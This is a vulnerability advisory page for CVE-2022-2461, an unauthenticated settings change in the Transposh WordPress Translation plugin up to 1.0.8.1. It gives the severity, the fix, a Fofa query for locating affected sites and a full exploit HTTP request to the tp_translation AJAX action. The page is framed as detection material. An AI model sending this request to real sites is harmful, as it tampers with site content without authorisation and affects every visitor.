🔙 목록으로 돌아가기

CVE-2022-2461: Transposh WordPress Translation <= 1.0.8 - Unauthenticated Settings Change

TitleTransposh WordPress Translation <= 1.0.8 - Unauthenticated Settings Change
Authorriteshs4hu
SeverityMedium
ImpactUnauthenticated attackers can modify plugin settings through the tp_translation AJAX endpoint without authentication, potentially manipulating translated content and injecting malicious data that affects all site visitors.
RemediationUpdate Transposh WordPress Translation plugin to a version newer than 1.0.8.1 that implements proper authentication checks on AJAX actions.
CVSS Score5.3
EPSS Score0.13263
CVE IDCVE-2022-2461
CWE IDCWE-862
Fofa Querybody="/wp-content/plugins/transposh-translation-filter-for-wordpress/"
Tags cve cve2022 wordpress wp-plugin wp wpscan transposh-translation-filter-for-wordpress info-leak vkev vuln

🔍 Vulnerability Description

The Transposh WordPress Translation plugin for WordPress is vulnerable to unauthorized setting changes by unauthenticated users in versions up to, and including, 1.0.8.1. This is due to insufficient permissions checking on the ‘tp_translation’ AJAX action and default settings which makes it possible for unauthenticated attackers to influence the data shown on the site.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=tp_translation&ln0=en&sr0=oast.me&items=1&tk0=oast.me&tr0=oast.me

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2461.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2461.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A